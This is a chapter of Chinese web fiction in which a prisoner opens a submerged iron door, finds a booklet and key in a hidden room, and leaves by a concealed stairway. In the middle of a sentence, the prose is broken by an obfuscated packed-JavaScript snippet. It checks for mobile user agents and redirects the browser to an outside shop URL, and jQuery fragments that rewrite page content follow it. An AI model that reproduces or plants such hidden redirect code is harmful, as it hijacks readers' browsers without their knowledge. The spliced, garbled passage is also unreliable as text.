天还没亮他就醒了,像是身体里的某个部分一直醒着等着这个时刻。窗洞里透进来的光还是深蓝色的,火把已经烧得只剩一小截,光焰缩在铁托上微微颤抖。他在黑暗里坐着,把刀、扳手和那枚金属片依次摸了一遍,确认都在该在的位置。油灯灌满了,灯芯剪齐了,他用防水布把油灯裹了两层,扎紧,防止下水时灯油被打湿。
他推开铁门的时候晨光刚刚从河面上浮起来,水面上有一层薄雾,贴着水面飘动。他沿着河岸走到那处陡峭的岩壁前,在岸边脱下鞋和外套,把裹着油灯、金属片、刀的防水布包系在腰间。水比他上一次下来的时候更凉一些,但还没有凉到刺骨。他沿着缓坡慢慢走进水里,水没过脚踝、膝盖、大腿,在腰际停住了。他稳住重心,沿着岩壁摸到了昨天那道门框的轮廓。门框在水下比在岸上看着更大一些,铁质的边缘被沉积物覆盖着,表面有一层滑腻的触感,像是生长了一层薄薄的微生物膜。他抽出刀,沿着门框的边缘慢慢刮,把表面那层沉积物一层一层地刮下来,让铁质边缘逐渐显露出来。门框上沿的位置,有一道横向的凹槽,像是被某样东西反复划过之后留下的。
他沿着门框的轮廓继续清理,把门框下半部分的沉积物也刮干净了。门板表面的氧化层均匀,没有明显的锈蚀,像是被水保护着,没有接触空气。门板中央没有锁孔,没有把手,只有一道竖直的缝,在门框的一侧。他沿着那道缝刮掉表面的覆盖物,看到了一道更宽的缝隙——门缝。门缝里填充着细密的泥沙,被水泡透了,压实了,用手抠不动。他换用扳手扁平的一端插进门缝里,沿着门缝上下滑动,把泥沙松动了,让水流把它们带出来。
泥沙随着水流流出来之后,门缝变宽了。他把扳手的扁平头卡进门缝里,向外别了一下。门板没有动。他又别了一下,感觉到门板边缘有一丝轻微的位移。他把扳手换到另一个位置,再次别动。门板沿着门轴的方向移动了一小段距离,门缝的宽度正好能够让他侧身挤过去。他侧身挤过门缝,进入了门后的空间。门后的水位比他站的那一侧低一些,水面只到他的腰际。他站直了,把防水布包解开,取出油灯点着了。火光在湿润的空气里跳了一下,然后稳住了,照亮了周围的空间。他站在一段通道里。通道的高度比正常的通道矮一些,倾斜地向下,能感觉到脚下的水流正在向前缓缓流动,方向与河道的走向一致。通道的墙壁是石砌的,砖面上没有沉积物,像是不曾被水淹没太久。他沿着通道向下走了一段,水位逐渐下降,从腰部降到膝盖,然后降到脚踝。通道在这里变得更加干燥,墙壁上的砖块缝隙中也看不到潮湿的痕迹。他把油灯举高了一些,前方的通道在一个拐弯之后变成了水平的。他走了一阵,通道的尽头是一扇门,铁质的,比他在水下穿过的那扇更高一些,颜色偏暗。
门上没有锁,但有一个铁质的拉手,拉手的表面被磨得光滑。他伸手握住拉手,往外拉了一下。门开了。门后是一个房间,比他预期的更大一些。四面墙壁是石砌的,地面铺着石板,石板缝隙里有干透的细沙。他站在门口没有立刻走进去,先让油灯的光把整个房间照亮。房间中央有一张石台,台面平整。他走过去,看到石台上放着一只铁皮箱,箱盖闭合,表面有一层薄灰。他蹲下来,掀开箱盖,里面是一本薄册子和一把钥匙。册子的封面跟他之前找到的那些风格一致,略有磨损。他先拿起钥匙看了一眼,是他之前见过的样式——钥匙齿简单,像是配某种旧式锁具。他放下钥匙,翻开册子。第一页写着:"如果你从水下穿过来了,说明你走的是正确的那条路。这里记录了那扇铁门的开启方式,以及水位下降时通道的使用规则。"
他翻到第二页。"七年的周期不是固定的。最后一次记录显示,周期的间隔正在变长。下一次水位降到最低点的时间,可能要晚于预期。"第三页的内容更短:"旧河床的入口不在你进来的位置。它在更上游的方向。如果你愿意继续走,沿着房间南侧的通道往下走,走到有水声的位置,那里有一道向上的台阶。台阶尽头是地面。"他合上册子,放在铁皮箱盖子上。他按照册子中的描述,走向房间南侧的墙壁,在墙壁中部看到了一道窄门。窄门没有门板,只是一道开口,开口后面是一条向下延伸的通道。他端着油灯沿着通道往下走了一段,通道前方出现了水声,像是水流在通过一段较窄的通道时加速发出的声响。他继续往下走了一段,在一个转弯处,通道的地面变成了台阶。台阶向上延伸,光线从台阶顶端透下来。他沿着台阶向上走,台阶的顶部通向外面的河岸,晨光从台阶口照进来,像是一层稀薄的水银覆盖在石阶最上面的几级表面上。他沿着最后几级台阶走上去,站在了河岸上,河岸的地形平坦,植被稀疏。他回身看了看台阶口的位置,发现是在一处土坡的侧面,生长着一些灌木,台阶口被草丛和落叶掩盖着。他没有做标记,只是记住了这个位置。
他沿着河岸走回牢房,把防水布包解开,把油灯、刀、扳手、金属片和钥匙依次取出来放在墙角,然后用一块干布把那本册子上的水渍擦干,放在它们旁边。钥匙和那枚金属片并排放在一起。钥匙的齿痕和金属片的厚度似乎有关联。他拿起金属片,把它插进钥匙的柄部凹槽里比对了一下,刚好卡住,像是同属一套装置的两个部分。他在那面墙壁上找到了一个砖块松动的角落,把钥匙和金属片并排放在那里。然后他回到墙角坐下来,靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825183|211227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着墙,把油灯的光拧小了一些。远处的水声还在响着,比之前更轻了,像是退到了一段更远的地方。他闭着眼,那扇门后面的房间在他脑海里浮现出来,石台、铁皮箱、薄册子、钥匙,还有册子里那几句他知道已经背下来的话。水还在他脚下不远处流着,他从水中穿过了那扇门,走上台阶,回到了地面,而那扇门还在水底。他知道入口的位置了,也拿到进入的钥匙了。陈默靠着墙壁,听着水面以下某处水流的低响,那道钥匙的轮廓在他合眼之后依然留在他的视野里。他在那片暗红色的微光中调整了一下呼吸,然后落进了下一段安静之中。
他再次睁开眼的时候天已经全亮了,窗洞里透进来的是白天的光。他坐起来活动了一下肩膀,目光落在墙角那堆东西上——册子、钥匙、金属片并排放着。他拿起钥匙又看了一遍,在光线下翻看钥匙齿,齿痕的间距和深浅都有规律,像是配一把结构简单的锁具。他又拿起金属片,将其边缘与钥匙柄部的凹槽重新卡合了一次,确认吻合。
他站起来,沿着走廊走到铁门前,推开门,走到户外,沿着河岸走回那处陡峭的岩壁前。他在岸边站了一会儿,看着水面。水面比他离开的时候稍微低了一点点,露出一小截之前被淹没的岩壁。他沿着河岸走了几步,蹲下来,用手探了一下河床的坡度,又看了看岩壁水线处的颜色变化,判断水位下降的速度。大约每小时下降半指。他抬头看了一眼天色,云层薄薄的,近一两天内没有明显的降水趋势。他在岸边又站了一会儿,记下了水位的位置,然后沿着河岸走回牢房。
天色还亮着,他没有回墙角坐下,走到走廊尽头,在灰制服的值班室门口停了一下。灰制服不在。他又沿着走廊走回铁门前,站在门框旁边,靠着门框,望着远处河面的方向。河水向下游流着,流速均匀。他知道那扇门还在水底,水位正在缓慢下降。那道台阶的出口,他已经记住了位置,如果以后需要走那条路,不需要再从水里走了。他靠着门框站了一会儿,转身走回牢房,在墙角坐下来,把那本册子翻开到第一页,又重新看了一遍。他看到第三页底部还有一行字,很小,像是后来添上去的:"如果你从水下穿过来了,说明你走的是正确的那条路。"他合上册子,放回外套内袋里。他靠着墙,听着远处持续的水声,那扇门、那把钥匙、那枚金属片、那间被暗红色光照亮的腔室,它们在同一条轨迹上,沿着河道的走向铺展开来。他把钥匙和金属片一起收进了口袋,把它们放进外套内袋里,贴着他的胸口。他靠着墙,在逐渐暗淡的天光里坐着,让那些声音慢慢沉进一种均匀的、不再需要被反复辨认的安静之中,在他闭着眼也能看到的那条水道的轮廓内部,缓缓沉下去。